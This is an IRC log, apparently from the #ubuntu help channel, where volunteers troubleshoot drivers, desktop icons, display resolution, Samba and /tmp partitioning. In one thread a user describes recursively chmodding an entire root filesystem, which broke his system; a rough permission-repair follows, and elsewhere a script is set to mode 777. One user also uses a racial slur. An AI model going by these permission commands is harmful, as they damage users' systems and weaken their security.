[19:49] <Nece228> alphabeta, if i install my ati drivers through envyng they will work faster than if i install drivers through restricted manager?
[19:49] <crdlb> c0mp13371331337: check your process list for 'gnome-settings-daemon' and 'gconfd-2', are either of those missing?
[19:51] <BenB> guys, it can't be so f*cking hard to compile and use the latest Linus kernel. nobody can tell me how to create the initrd?

[20:11] <kappabuntu> hi
[20:11] <Prose> hi, in 8.04, does network manager, by default, support WPA2 Enterprise encryption ?
[20:11] <crdlb> c0mp13371331337: I don't know why, but your gconfd is definitely malfunctioning, try renaming ~/.gconfd to ~/.gconfd.save, and if that doesn't work, you could try it with ~/.gconf too (where your actual configuration is stored)
[20:11] <fr4nk-k> nicolasaumond: what's your question?
[20:11] <kappabuntu> is there a how to on making taskbar icon shortcuts for ubuntu?
[20:12] <nicolasaumond> chage resolution and refresh rate??
[20:12] <c0mp13371331337> crdlb: should I log out after that?  Or reboot?
[20:12] <nicolasaumond> can-t do it
[20:12] <Jowi> StevenX, /usr/share/applications/ there are some .desktop files in there that you can set the installed programs icons for etc
[20:12] <Russian> anyone here can help me with wireless problem, using Atheros, dmesg can be found here --> http://paste.ubuntu.com/44994/
[20:12] <StevenX> Jowi: thanks!
[20:12] <crdlb> c0mp13371331337: logging off should be enough
[20:12] <Jowi> StevenX, your other option is to change it in the Icon theme you are using but it takes more work
[20:12] <kappabuntu> Jowi: that's where it's hiding the program icons? grrrr
[20:12] <fr4nk-k> nicolasaumond: It's in System > Settings
[20:12] <Jowi> kappabuntu, no, only which icon to use
[20:12] <macvr> i was suggested to do this earlier>>> find / -xdev -exec chmod /mnt/linux/'{}' --reference '{}' ;  <<<< but it gives this error -----find: missing argument to `-exec'
[20:12] <nicolasaumond> need guidance on using xorg.
[20:13] <Prose> in 8.04, does network manager, by default, support WPA2 Enterprise encryption ?
[20:13] <paraaano> Hello, any helpers alive?
[20:13] <kappabuntu> I was looking inside usr/lib and usr/share -/virtualbox for the icon
[20:13] <StevenX> Jowi: The 2nd option, do you mean installing an icon theme?
[20:13] <fr4nk-k> nicolasaumond: Oh, sorry, I know can only do it with a GUI. :(
[20:14] <gq_gunhed> paraaano: Hello there, how may we help you?
[20:14] <nicolasaumond> it only offer 800 x 600....
[20:14] <paraaano> I can't connect msn(with any messenger(tried pidgin,gaim,kopete,amsn)) or any live network. (hotmail.com, live.com etc.)
[20:14] <nicolasaumond> Ok, thanks.
[20:14] <paraaano> I checked forums, but no solution.
[20:15] <c0mp13371331337> crdlb: Well, renaming .gconfd/ didn't do it, I'll try .gconf
[20:15] <Snubbi> ive just get my wifi up on my labtop so im just so happy
[20:15] <Jowi> StevenX, each icon theme has it's own links for program icons. for example /usr/share/icons/gnome/48x48/apps has named icons that you can change. but you need to do that in each size directory which is not very hard to do but takes time and is annoying.
[20:15] <StevenX> Jowi: I found the firefox in /usr/share/applications, I right-clicked and then properties, but I'm not sure how to change the icon it uses.
[20:15] <paraaano> gq_gunhed; any idea?
[20:15] <gq_gunhed> paraaano: sorry - no clue, maybe someone else here can help
[20:16] <paraaano> :(
[20:16] <Jowi> StevenX, it's a text file. you need to edit it, look for the icon name and change it and save it.
[20:16] <c0mp13371331337> crdlb: Well, my desktop background is back to Hardy default.  Fonts are still the same though.  As is the Window Decoration.  Let me see if I can change the fonts at all.
[20:16] <gq_gunhed> paraaano: maybe a firewall issue? Or what do you think?
[20:16] <StevenX> Jowi: thanks, will look into it.
[20:17] <kappabuntu> how do I go about learning to find the proper command to use for an icon launcher?
[20:17] <paraaano> gq_gunhed. I haven't got any idea. just hours ago everything was fine.
[20:17] <paraaano> suddenly it crashed.
[20:18] <kappabuntu> seeing as virtualbox doesn't work unlike firefox for firefox
[20:18] <gq_gunhed> paraaano: hmm, strange. standard question: "what did you do before you did nothing?" ;-)
[20:18] <gq_gunhed> paraaano: crashed, what kind of?
[20:18] <crdlb> c0mp13371331337: you can try making a new account, that would at least tell you whether it's a system or user configuration issue
[20:18] <Crshman> hi all, how do i look at a users account options from the CLI? (like home directory and current groups)
[20:18] <c0mp13371331337> crdlb: Nope, application fonts still the same.
[20:18] <paraaano> well, nothing. (really nothing.) I was out..
[20:19] <nicolasaumond> xorg expert?
[20:19] <paraaano> when I was back, then no connection to live network
[20:19] <c0mp13371331337> crdlb: Well, I had another account for guests that never gets logged into.  I checked there and it was the same large font issue.
[20:19] <c0mp13371331337> crdlb: Also opened an application as root and saw the same thing.
[20:19] <gq_gunhed> paraaano: hmm :-( any error messages in any of your logs?
[20:20] <paraaano> sorry that I'm really newbie at linux.
[20:20] <DIFH-iceroot> what version of postgresql is ubuntu 6.06 using? is it postgresql 7.3?
[20:20] <paraaano> how can I check logs?
[20:20] <ForgeAus> grrr... someones gotta do something about the dependancy issue for KDE...
[20:20] <valbuntu> Hi, got an apt package removal related question.. synaptic shows linux-ubuntu-modules-2.6.22-14-generic as 'completely removable', but applying this fails with error "E: linux-ubuntu-modules-2.6.22-14-generic: subprocess post-removal script returned error exit status 1" Where could i find more info on how to remove this entree from apt (as the package in question is not installed anymore) ?
[20:20] <ForgeAus> lately too many packages want gnome dependancies that are unnecessary for a kubuntu user
[20:20] <gq_gunhed> paraaano: "sudo tail -f /var/log/messages" or "sudo tail -f /var/log/daemon.log"
[20:21] <paraaano> let me check gq_gunhed
[20:21] <ForgeAus> ie apturl wants something like gtk-khtml... I would have thought having Konqueror more than fulfills that req
[20:21] <StevenX> Jowi: Let's say I have a file called browser_icon.png on my desktop, and that I've opened up the desktop configuration file for firefox in /usr/share/applications, what now?
[20:21] <gq_gunhed> paraaano: where: tail -f shows your log files as it is written (ongoing), and /var/log/[fielname] is where your logs are
[20:22] <kappabuntu> what is the terminal command to launch virtualbox?
[20:22] <kappabuntu> I'll start there..
[20:22] <fused_> What is the easiest, most sufficient way, to get rid of icons on the menu in Gnome that aren't suppose to be there?
[20:22] <macvr> hi, guys....i was having a GDM error:<server authorization directory (deamon/servauthdir) is set to   /var/lib/gdm but this does not exist. Please correct gdm configuration and restart gdm                             <ok>>
[20:22] <macvr> i tired doin this<sudo -i    mkdir /mnt/linux    mount /dev/sda5 /mnt/linux   find /mnt/linux -type d -exec chmod 755 '{}' \;   find /mnt/linux -type f -exec chmod 644 '{}' \;   umount /mnt/linux  exit> but now my system gets Stuck at BusyBoX... how do i get past this?
[20:22] <macvr> i was asked to do this>>>>find / -xdev -exec chmod /mnt/linux/'{}' --reference '{}' ;<<<< but i get this error>>> find: missing argument to `-exec'
[20:22] <Jowi> StevenX, type in the full path to the icon you wish to use. Example: Icon=/home/StevenX/Desktop/browser_icon.png
[20:22] <ForgeAus> and AWN (avant window navigator) is depdnant on lots of gnome packages too yet Avant itself is supposedly Desktop-Agnostic! (it plays nice with KDE afaik...)
[20:23] <StevenX> Jowi: Thanks! Awesome.
[20:23] <macvr> hi unop
[20:23] <unop> hey macvr - how's it going?
[20:23] <psor> hi i am want use game AssaultCube i download game and use command assaultcube,sh but system said - command not found
[20:23] <macvr> i was tried to do this>>>>find / -xdev -exec chmod /mnt/linux/'{}' --reference '{}' ;<<<< but i get this error>>> find: missing argument to `-exec'
[20:23] <ForgeAus> so whats the problem, that developers just don't know there's KDE out there?
[20:24] <unop> macvr, try escaping the last ; .. make it \;
[20:24] <xbxb> How can I guarantee that ALL files in /tmp are deleted when Ubuntu shuts down? Or is this done automatically?
[20:24] <c0mp13371331337> crdlb: And yes, same problem with a brand-spanky-new account.
[20:24] <balrog> jaunty jackalope?  canonical knows that a jackalope is an imaginary animal, right?
[20:24] <mds58> installing a linux driver can someone give me the 101 for the process plz
[20:25] <macvr> i didnt understand tht??could u pls give full command? so that i dont mess up?
[20:25] <c0mp13371331337> crdlb: Sooooo, system-wide, more than likely.
[20:25] <unop> xbxb, i believe they are cleared on boot
[20:25] <unop> macvr, find / -xdev -exec chmod /mnt/linux/'{}' --reference '{}' \;
[20:25] <macvr> ok, thanx
[20:26] <Jowi> StevenX, after the file is saved you might need to log off and log on again to see the change (firefox icon should now have changed in the gnome menues). if it isn't showing any icon you have a typo in the .desktop file.
[20:26] <xbxb> unop: I'm asking because I'm now using a separate partition for /tmp (fstab already changed, will take effect on reboot), but I want to delete all files in the "old" /tmp directory before that.
[20:26] <HoaXxX> hi, wht is the best program for virtualization? vm make my pc slow
[20:26] <kappabuntu> oh icons were in in /pixmaps -_- ...
[20:27] <StevenX> Jowi: got it. Thanks. Can I create these .desktop files if I don't see one for a program I want?
[20:27] <unop> xbxb, you'll need to delete them .. preferably after reboot - or in single-user mode (runlevel 1)
[20:27] <xbxb> unop: how do I get into runlevel 1 after reboot?
[20:27] <HoaXxX> ?
[20:27] <steven__> when i installed ubuntu
[20:28] <steven__> the laptop has a weird chipset
[20:28] <unop> xbxb, choose recovery mode from the grub screen  ... or you can type this now.  sudo telinit 1  (after closing your programs down)
[20:28] <steven__> and won't allow me to pick larger resolutions
[20:28] <steven__> i'm using xubuntu hardy heron
[20:28] <xbxb> unop: many thanks
[20:28] <HoaXxX> anyone? best program for virtaulization plz
[20:28] <steven__> 've tried sudo dpkg-reconfigure xserver-xorg
[20:28] <unop> xbxb, to return to runlevel 2 after that.  sudo telinit 2
[20:28] <steven__> it doesn't allow me to choose monitor size and all
[20:28] <kappabuntu> what is the terminal command to open virtualbox?
[20:28] <xbxb> unop: OK
[20:28] <steven__> or video drivers
[20:28] <IM0> hi @ all
[20:29] <steven__> ive installed the driver for the video card
[20:29] <IM0> from germany
[20:29] <IM0> ;)
[20:29] <unop> xbxb, though, you'll need to mount /tmp first.  sudo mount  -a
[20:29] <macvr> unop> it keeps giving errors>eg:>>>>>>chmod: cannot access `/mnt/linux//usr/share/gtk-doc/html/evolution-exchange/ximian-connnector-booking.html': No such file or directory<<<<<< this is going on! is this correct?
[20:29] <linduxed> any swedish colemak users here?
[20:29] <linduxed> (i know thats one hell of a minority :-P)
[20:29] <steven__> but the dsplaconfig-gtk only lets me choose up to 800x600
[20:29] <Jowi> StevenX, yes. you can. The only entries that are important is Exec=, Icon=, Name, GenericName and Type= and Categories= can be nice to have but are not needed.
[20:29] <xbxb> unop: but then I can't access the current /tmp directory anymore, whose content I want to delete?!
[20:30] <Jowi> StevenX, the three first i meant. the rest are optional.
[20:30] <StevenX> Jowi: Thank you very much. I have changed a couple of icons. i will Log off and log back in to see what has occured. Thanks1
[20:31] <dired> Hi! Can I manually enter the modes my Laptop LCD should run at? (in this case 1280x800@60hz)
[20:31] <unop> macvr, it appears to be correct, you have to remember that this command is looking at the permissions of the live CD's files and then trying to adjust the relevant files on the install .. and off course, the install isn't going to have all the same files
[20:31] <c0mp13371331337> crdlb: Still there?
[20:31] <unop> xbxb, you should carry out the procedure like this .. step into runlevel 1, clear /tmp, mount /tmp and then return to runlevel 2
[20:32] <Jowi> linduxed, wow a keyboard layout variant that i didnt know about :)
[20:32] <macvr> unop>> so...once it is done , reboot?
[20:32] <linduxed> Jowi: hahaha
[20:32] <unop> macvr, yep, and cross your fingers .
[20:32] <crdlb> c0mp13371331337: yeah, but I can't think of a way to fix that. Make sure you're up to date and that apt-get dist-upgrade doesn't complain about anything
[20:32] <steven__> any ideas anyone?
[20:33] <xbxb> unop: Oh, got you now. One last question: do I have to set the permissions of the /tmp folder *before* mounting the new /tmp?
[20:33] <balz> I need help integrating CUPS printer sharing with SAMBA so that I can share printers with windoze computers.  Has anybody ever done this before?  I already have CUPS set up with one published printer
[20:33] <milostrife> #defocus
[20:33] <macvr> unop.... seems done, will reboot n inform
[20:34] <lee_> Hi, I followed the ueagle-atm guide on the Wiki, the modem syncs but I can't get a connection to the Internet
[20:34] <c0mp13371331337> crdlb: Well, it tells me that xtightvncviewer can be updated, but I intentionally rolled that back when I first installed Hardy to be compatible with single-click VNC.
[20:34] <unop> xbxb, errm, no, you need to change permissions on the partition you want to mount at /tmp .. mount it somewhere temporarily and then .  sudo chmod +t /that/mount_point
[20:35] <xbxb> unop: thanks a lot for your patience. I'll try that.
[20:35] <paraaano> I can't connect msn(with any messenger(tried pidgin,gaim,kopete,amsn)) or any live network. (hotmail.com, live.com etc.) - anyone got any idea?
[20:35] <unop> xbxb, the next time you mount that device somewhere, the mount point (which in your case is /tmp) - will automatically assume the permissions of the partition.
[20:36] <c0mp13371331337> crdlb: And now I can't even open Nautilus.  I get an error stating: "Eel:ERROR:(eel-preferences.c:673):update_auto_string_array: assertion failed: (callback_data != NULL) Aborted"
[20:36] <xbxb> unop: OK

[20:38] <pete_> I can no longer mount usb drives through nautilus and yet I can still mount them using gnome-mount, so I can quite confused as to what to try/search for
[20:38] <pete_> am*
[20:38] <crdlb> c0mp13371331337: that's probably just an effect of gconf being broken; it doesn't really help diagnose it :/
[20:38] <crdlb> c0mp13371331337: you could try asking in #gnome on irc.gnome.org
[20:39] <cheeky> iam sorry but iam learning about bash scripting from this source and dont understand wat i need type in and where .. here is the guide..i even feell like this is a retarded question .. but culd any one tell me :http://www.tldp.org/LDP/abs/html/sha-bang.html
[20:39] <Jowi> lee_, the eagle is problematic. I used it in Mandrake 8.2 (that was a long time ago) and it hasn't improved much. I would recommend to see in the french channel (#ubuntu-fr) and/or buy a cheap DSL modem or even a DSL router. Less headache.
[20:40] <chao1> Hello, how do you setup the drivers for a dialup internal modem? I would like to setup dialup for someone
[20:40] <Jowi> lee_, the french used it quite a bit a few years back
[20:40] <lee_> Jowi: I havd tried a BT Voyager 105 too with whatever driver that was, that wouldnt even sync - it just failed... I can't find my old Speedtouch
[20:41] <Jowi> lee_, I meant a non-usb modem
[20:41]  * chao1 says does anyone know how to setup a dialup connection
[20:41] <toresn> i could use some help on connecting an external monitor to my thinkpad x61 ... anyone in here with experience?
[20:41] <steven__> gr
[20:41] <ohzie> Hey everyone! :)
[20:41] <lee_> Jowi: I have a router, but the point of this is to drop the connection entirely onto my server
[20:41] <cheeky> is bash scripting ... teaching me how to navigate and get to know my ubuntu system .. through ther terminal ?
[20:41] <chao1> :D
[20:42] <maniheer> cheeky: did u get it installed?
[20:42] <Jowi> lee_, if you have a router, how do you use the eagle usb modem?
[20:42] <chao1> <))
[20:42] <toresn> i have my loptop in a docking station, and i would like the laptop monitor to be disabled when connected to an external monitor
[20:42] <lee_> Jowi: when I *try* to get the modem working, I unplug the router
[20:42] <ohzie> I might have made a mistake, but I'm not sure. My / drive and the removable drive both have similar sizes, so I told gparted to format the / instead of the removable drive. The computer is still running, but when I scan it in gparted it has the layout that I told gparted to give it
[20:42] <ohzie> as far as I'm aware, all it changed was the 'disk label'
[20:42] <ohzie> because the drive is mounted, it couldn't format and partition it
[20:43] <ohzie> but what I don't know, is when I reboot, will my main drive be gone?
[20:43] <RoadHazard> shouldnt
[20:43] <balz> Does somebody have a default smb.conf file they could pastebin for me?  I will gladly give up a virtual dollar
[20:43] <ceed^> Hi, I need to shrink my Vista partition and add the space to one of my Ubunutu partitions. On Vista I have Acronis, but I am afraid it will mess up grub. What's the best way to do this? Boot from the live CD and do it from there?
[20:43] <chamunks> When I install ubuntu or variant on a pc for my home sometimes the computer name works in the lan and sometimes not how can i set it so that it allways works.
[20:43] <unop> cheeky, bash scripting is putting a sequence of commands together to accomplish a job .. it doesn't necessarily teach you about ubuntu.
[20:43] <Jowi> lee_, if you have a router you cannot use a usb modem together. non-usb-modem <-> router <-> computer
[20:43] <barbarella> balz:/usr/share/doc/samba-doc/examples
[20:43] <lee_> Jowi: I know, I want to eliminate the need for the router.
[20:44] <Jowi> lee_, ah. you found a bad replacement for it :)
[20:44] <chamunks> What can i change post install so that i can go to http:// or smb://  Computername  and not 192.168.1.111 or whatever.
[20:44] <balz> barbarella:  i'm using mythbuntu and it doesn't come with a lot of bells and whistles... =(
[20:44] <lee_> Jowi: Unless I can find some good (PCI?) ADSL modem that will work under Ubuntu
[20:44] <barbarella> can you install samba-doc?
[20:44] <c0mp13371331337> crdlb: I'm checking with them now.  Thanks for all your patience and help!
[20:44] <balz> barbella:  sure. what is it exactly?
[20:45] <barbarella> documentation
[20:45] <Jowi> lee_, I recommend a stand alone DSL modem. Ethernet connected. You set up the connection settings in the modem, set your computer up for DHCP and  and off you go.
[20:45] <livindaylight> hi, i have serious issues with X
[20:46] <lee_> Jowi: Isn't that really what the router does :/
[20:46] <RoadHazard> define serious issues
[20:46] <livindaylight> i'm on a 640x480 screen resolution
[20:46] <tomfratelli> He guys, can you help me?
[20:46] <chamunks> I believe its setting the hostname is what im looking to do.
[20:46] <chao1> :-/I need to setup a dial up modem that is internal. Help - anyone. I know to use sudo pppconfig but I need to know how to setup the drivers and where do I get them. Are they part of the kernel or do I need to download them?
[20:46] <livindaylight> I've restored xorg.conf back up and can't get anything back to how it was
[20:47] <RoadHazard> the best luck is a conexant internal modem and the dellbuntu driver
[20:47] <tomfratelli> Hey guys can you help a nigga out
[20:47] <Jowi> lee_, sorry I misunderstood. I thought you had a router without a modem in it.
[20:47] <sorl_> is nautilus always slow opening and listing dir contents? can it be faster with some configs?
[20:47] <chao1> RoadHazaard: where do you get the dellbuntu driver
[20:47] <RoadHazard> www.dell.com
[20:47] <lee_> Jowi: ah :)

[20:50] <dired> I would recommend you to format and install again tomfratelli

[20:54] <livindaylight> RoadHazard: can you give me a copy of yours, to have one i can work from
[20:54] <tanner13> Myrtti: its just a map file for a game im trying to host
[20:55] <unop> macvr, errm. are you on the live CD at the moment?
[20:55] <chao1> tanner13: download the file by clicking the link (make sure that in your firefox preferences that you have the save file setting set to ask you where everytime. then if you need to extract it just right click the file and extract here
[20:55] <macvr> unop>s, i'm using live CD

[20:55] <chao1> what was the extention again
[20:55] <unop> macvr, ok,  have you mounted your linux partition? if not mount it
[20:56] <Prose> when making a script, is it #!/bin/bash on #!/bin/sh on first line ?
[20:56] <pedro-orange> tanner13: if u know the url you can use wget
[20:56] <chao1> tanner13, ?
[20:56] <RoadHazard> livindaylight: hurm havent done this in hardy
[20:56] <unop> Prose, depends on whether you want to have the script run under bash or sh
[20:56] <barbarella> tanner13:wget link, or use links2 or lynx
[20:56] <tanner13> pedro: wget then the complete url?
[20:56] <tanner13> excellent thank you all VERY VERY much
[20:56] <pedro-orange> tanner13: man wget :)
[20:56] <Prose> unop: well, which one is the one that does the same thing as when you type commands in the terminal ?
[20:57] <michael__> could anyone tell me of a program that can take individual pdfs and stitch them together?

[20:57] <P4n[t]3r> ^^
[20:57] <Phantomas> can i have your help please
[20:57] <chao1> tanner13, what was the extention on the file again
[20:58] <unop> Prose, use bash if your script uses bashisms .. or if you are following a bash guide for .e.g.   use sh if you want your script to run on any unix
[20:58] <pedro-orange> chao1: tanner13 has left the room
[20:58] <Prose> unop: so something like    #!/bin/bash   on the first line and               avant-window-navigator                on the second line should make the script boot said program at startup (if chmoded 777 and used update-rc.d defaults on it)
[20:58] <chao1> oh, oh well
[20:58] <unop> Prose, but remember that sh does not understand bashisms
[20:58] <macvr> unop...mounted the linux partiton
[20:59] <unop> Prose, errm, it would .. though for this purpose sh is lighter and faster ..  also  use exec there.  i.e.   exec avant-window-navigator
[20:59] <unop> macvr, ok, where have you mounted it?
[20:59] <erUSUL> Prose: for something like awn you should use System>Preferences>Session

[21:02] <jobless> I enabled remember running applications while logging out option in sessions on ubuntu 8.04. Even when I uncheck that option now, the session history is saved. Is there a file I can delete to remove the session history?

[21:02] <Andy80> I've a strange problem with my Nvidia Geforce 8600 Gt: I've installed Ubuntu 8.04.1, I've installed restricted drivers ecc.... but every time I reboot and I arrive to GDM login, the screen becomes BLACK :( I hear the ubuntu drums and all is black. I've to switch to a console usicn CTRL+ALT+F2 and come back to F7 lot of times before GDM login appears... how can I fix this?
[21:03] <unop> macvr, ok. follow this here.  http://pastebin.com/d79a7f6b1
[21:03] <erUSUL> Prose: use ~/.xsession for that « echo "exec avant-window-navigator" >> ~/.xsession »
[21:03] <RoadHazard> livindaylight: are you on an nvidia card?
[21:03] <chamunks>  Apparently I need to make my ubuntu "send host-name" so that my router can pick up the computer name where would i find this in 8.04
[21:04] <JeroenD> hello
[21:04] <JeroenD> can someone help me with a distorted sound in HH
[21:04] <chamunks> I find unless I install via network install off the ubuntu servers my computers dont properly send hostname to the router.
[21:04] <JeroenD> i've uninstalled Pulse-audio
[21:04] <Prose> erUSUL: I should make a script containing on one line                 echo "exec avant-window-navigator" >> ~/.xsession
[21:04] <macvr> all those commands to be done from root #  ?
[21:04] <erUSUL> Prose: or maybe just « echo "avant-window-navigator" >> ~/.xsession » can not say for sure if the exec is needed
[21:05] <unop> chamunks, see /etc/dhcp/dhclient.conf   # and look out for send host-name
[21:05] <JeroenD> and my sound does shift in pitch in ogg files
[21:05] <unop> macvr, yes
[21:05] <Jowi> Prose, execute awn first. example: "avant-window-navigator &" + new line + "exec compiz --indirect-rendering --strict-binding dbus"
[21:05] <erUSUL> Prose: no; just have to create a file named .xsession on you home with avant-window-navigator on it
[21:06] <jobless> Once again .. I enabled remember running applications while logging out option in sessions on ubuntu 8.04. Even when I uncheck that option now, the session history is saved. Is there a file I can delete to remove the session history?
[21:06] <unop> Jowi, that almost looks like javascript :)
[21:06] <JeroenD> hello and good evening
[21:07] <chamunks> unop, thanks ill look into this, is there a way i can get it to resend this without reboot like maybe running 'dhclient'?
[21:07] <Jowi> unop, unintentional :)
[21:07] <unop> chamunks, yea.  sudo dhclient eth0
[21:07] <chamunks> unop, awesome thanks

[21:19] <corunum> hey guys, can anyone help me with a video problem?
[21:19] <unop> Alpha232, upstart isn't a command (to have a manpage) it's a concept .. just like sysvinit doesn't have a manpage
[21:19] <ich> XiMeNSiOnS, did you test the cd for defects?
[21:19] <RoadHazard> corunum: what kind of problems
[21:19] <ohzie> corunum: Sometimes. What's the problem?
[21:19] <XiMeNSiOnS> I get that error if I  do

[21:20] <nikitis> unop, A panel is already running
[21:20] <nikitis> yeah right

[21:20] <Joe_CoT> Once every couple of days, my system becomes incredibly laggy and slow. Windows take forever to redraw, etc. Looking at top, xorg is throwing a fit. If I log out and back in, everything's fine. Any ideas as to what's up?
[21:20] <XiMeNSiOnS> yeah but which?
[21:20] <zubumufu> Is there perhaps another room with less people where I can talk to somebody about my options for buying an Ubuntu machine? I'm so indecisive.
[21:20] <unop> nikitis, it's possible .. the panel might have crashed but is still running.
[21:21] <unop> nikitis,   killall gnome-panel && gnome-panel &
[21:21] <Alpha232> unop: well seems like all the paths from upstart.unbuntu.com are not the ones configured
[21:21] <nikitis> hmm. ok, i have bars ;)
[21:21] <Prose> when downloading a stable release of ubuntu 8.04, can it still vary in it's content (as in, get a compiled version that was patched ?)
[21:21] <balz> What is Read Prediction in SAMBA and what does it do?  Google has no answers...
[21:22] <nikitis> unop, i have bars, it restarted automatically
[21:22] <Prose> in other words, downloading ubuntu 8.04 one day after stable release and today, is there a difference ?
[21:22] <uateve1> do i need to do anything for UPnP to work in ubuntu?
[21:22] <nikitis> unop, that helped with the small problem.  But I dunno about the big one, when I boot
[21:22] <tabakhase> Is there a way to get the Kernel Version before "linux-image-2.6.15-26-386"? Still 2.6.15-* but a bugfix before?
[21:23] <tIcK_tAcK> I there people... i'm looking for a eggdrop script that act's like the bot here in the channel... does anyone knows where I can get one? I would prefer in portuguese...
[21:23] <Joe_CoT> zubumufu, there isn't another room. see pm.
[21:23] <unop> nikitis, well, what is the bigger problem?

[21:30] <Alpha232> unop: i'm always one for stripping that which will NEVER be needed or used
[21:30] <tesseracter> this is making me absolutely NUTTY. i use a dvarak layout keyboard, but in a terminal, i still need to use qwerty ctrl+key combinations. so to forcequit, i press ctrl+j, since j is where c is in qwerty-land. i want to FIX this!
[21:30] <synic> is software audio mixing supposed to work with pulseaudio and ubuntu 8.04?
[21:30] <synic> or is there a guide to make it work?
[21:30] <Alpha232> tesseracter: ooooh that sounds fun
[21:30] <synic> I cannot play music and watch a youtube video at the same time
[21:31] <Alpha232> tesseracter: thats because it's built on Scan Codes
[21:31] <John0Neil> XiMeNSiOnS, you may try to run ubuntu live cd, then run Gparted, select your partition and "Check and repair"
[21:31] <akravets> hello
[21:31] <unop> Alpha232, there's a reason linux is good at paging RAM :) but anyway, if it makes you happy
[21:31] <tesseracter> Alpha232, evil scancodes!
[21:31] <fogelek> hi
[21:31] <akravets> I am trying to play wav file in Ubuntu and I get aplay: test_wavefile:731: can't play not PCM-coded WAVE-files
[21:31] <Alpha232> unop: well technically it would never page it as 12 other modules are using it even if they are not using it
[21:31] <akravets> using aplay
[21:31] <fogelek> i cannot find iptables file in /etc - who knows where it is?
[21:32] <akravets> tried Amarok, can't play either
[21:32] <John0Neil> XiMeNSiOnS, http://ubuntuforums.org/showthread.php?t=667955
[21:32] <tesseracter> Alpha232, so is this something that i should write up as a bug report, or is this something that ubuntu wouldnt try to fix?
[21:32] <unop> Alpha232, that's a self-contradictory statement :)
[21:32] <XiMeNSiOnS> why would I do tha
[21:32] <XiMeNSiOnS> that
[21:32] <XiMeNSiOnS> I cant even run the live cd
[21:32] <XiMeNSiOnS> I run it then select any option
[21:33] <XiMeNSiOnS> then ubuntu logo goes and get that error
[21:33] <erUSUL> Fogelek: there is no default iptables file in there afaik
[21:33] <MXIIA> How can I change the main menu icon, by (Applications Places System) without changing the theme???
[21:33] <Alpha232> tesseracter: well first off...
[21:33] <balrog> anybody know a program that can convert from dv to avi, wmv or mpeg-1 format?
[21:33] <macv1> unop>it worked...now i'm  loged in... but i get this error when i launch apps!!!>>> failed to launch child process"..."(permission denied)<<< for most of the apps i get this error , not even able to launch firefox
[21:33] <Alpha232> tesseracter: is this from the console or via SSH
[21:33] <erUSUL> balrog: ffmpeg
[21:33] <hitman1985> erUSUL, so if i got that info straight i just got to add a line in the fstab file what says /dev/sda5   swap  		swap  	pri=42  	0 	0 ?
[21:33] <bobertdos> akravets: I'm going to venture a guess and say that the file is probably encoded with some restricted codec, probably Microsoft-based, where you will probably need w32codecs from medibuntu.
[21:34] <giggsey> I'm tyring to boot the 64 bit livecd, and it seems to be stuck on "Attached scsi generic sg2 type 0"
[21:34] <Alpha232> unop: not really,  it is marked at used
[21:34] <Alpha232> unop: but is never utilized
[21:34] <erUSUL> hitman1985: well the pri value (priority) is generally not needed
[21:34] <unop> macv1, hmm.  how are you launching apps, the menu?
[21:34] <balrog> erUSUL: seriously?
[21:34] <tesseracter> Alpha232, console and ssh.

[21:35] <macv1> i'v tried menu/ panel... pidgin i was able to launch , but opened main window from the panel
[21:35] <erUSUL> hitman1985: instead of uuid you can use directly the dev file but is good pactice to use the uuid
[21:35] <Alpha232> tesseracter: did you specify your keyboard layout during setup
[21:35] <hitman1985> erUSUL, thats what i got in the file at the moment

[21:37] <strategy> guntbert, ok, just wondering if this is common(happens to me every few days) or if that was a common way to fix it

[22:11] <macvr> unop> thunderbird i recieved the error,....some programs dont even alert,eg: firefox... how would i know?
[22:12] <d_dyer> i want to know if i uninstall "Wine" will that also uninstall my windows Apps or will i have to uninstall them one app at a time?
[22:12] <unop> macvr, well, most programs should be ok now .. but some might complain about 'insecure file permissions' or 'permission denied' while trying to access files or directories,  adjusting the permissions accordingly should help a reinstall of the package might do too
[22:12] <unop> macvr, well, try launching the program from the terminal -- that way you'll catch warnings and errors - which will give you indications/ideas as to what's wrong
[22:13] <kilo13> on
[22:13] <unop> macvr, resolving problems is then taken on a case-by-case basis
[22:14] <macvr> other than the installed programs.... will my system essentials be ok?
[22:14] <unop> macvr, i'd be inclined to say 'yes' but i can't be certain
[22:15] <hvgotcodes> gpled -- i think ill keep the 2 small ones and just wipe out the big one

[22:15] <erUSUL> d_dyer: just uninstall wine and then wipe out your ~/.wine/ directory
[22:16] <strategy> Does anyone know of a (graphical) simple web browser that's fast? Firefox is just totally unusable..
[22:17] <macvr> in case of system problems...   right clicking the file and set file permission to=read&write? via gksudo nautilus is enough?
[22:17] <erUSUL> !info dilo
[22:18] <d_dyer> ok thanks you erUSUL
[22:18] <macvr> unop>﻿in case of system problems...   right clicking the file and set file permission to=read&write? via gksudo nautilus is enough?
[22:18] <d_dyer> Thank you*
[22:18] <imachine> sup! :-)
[22:18] <krim> strategy: Firefox is hardly unusable but try Konqueror
[22:18] <DavidCanarias> My web browser firefox is giving me problems as some web sites crash and the error coming up is BadWindow. Can anyone suggest a good alternative for Hardy? Thanks
[22:18] <imachine> is there some way to use ext4/ext4dev on ubuntu ?
[22:18] <strategy> krim, well for me it is..
[22:18] <imachine> I have an old partition from my other distro, but I moved to ubuntu and i'd like to use my old files to move them etc.
[22:18] <krim> strategy: Don't know if it's any faster though, try to find some test which shows how fast each browser is.
[22:18] <NoCigar> Hello! I have Ubuntu on a Live CD but that CD is damaged, I still can use it Live though. Problem is, I can't install it and I was wondering if I could somehow install it using this Live CD and internet
[22:19] <NoCigar> I  have the .iso file on my mp3-player aswell
[22:19] <imachine> if you have the iso you could just burn that to a cd eh ?
[22:19] <krim> strategy: And blocking all ads speed things up.
[22:19] <NoCigar> can't, I don't have any empty CDs :/
[22:19] <imachine> tough luck :)
[22:20] <NoCigar> I'm using the Live CD at the moment
[22:20] <imachine> I think you can boot from usb, try goolging for that.
[22:20] <imachine> googling*
[22:20] <Drk_Guy> imachine, syslinux
[22:20] <sss> how to ssh home pc and office pc
[22:20] <Drk_Guy> :)
[22:20] <strategy> krim, i dont think it's ads.. just runs slowly and it's nearly impossible to scroll, because it keeps scrolling after you finish pressing the scrollbar down(because it hasnt scrolled enough yet i guess)..
[22:20] <NoCigar> imachine, there is no other way huh?
[22:20] <imachine> Drk_Guy, yeah, that's what I think debian mentioned, when I tried booting it on a barebone with no cd fdrive.
[22:20] <krim> NoCigar: I've thought about installing without cd but it always seemed like a real PITA in the end. I think you're better off just waiting until you have a cd. But things might have changed.
[22:21] <NoCigar> a command or something that started an online installer
[22:21] <Drk_Guy> imachine, pop your stick, copy the cd files, then generate a config file for syslinux and there ya go
[22:21] <NoCigar> I remember using another dist a long time ago, net install worked like a charm
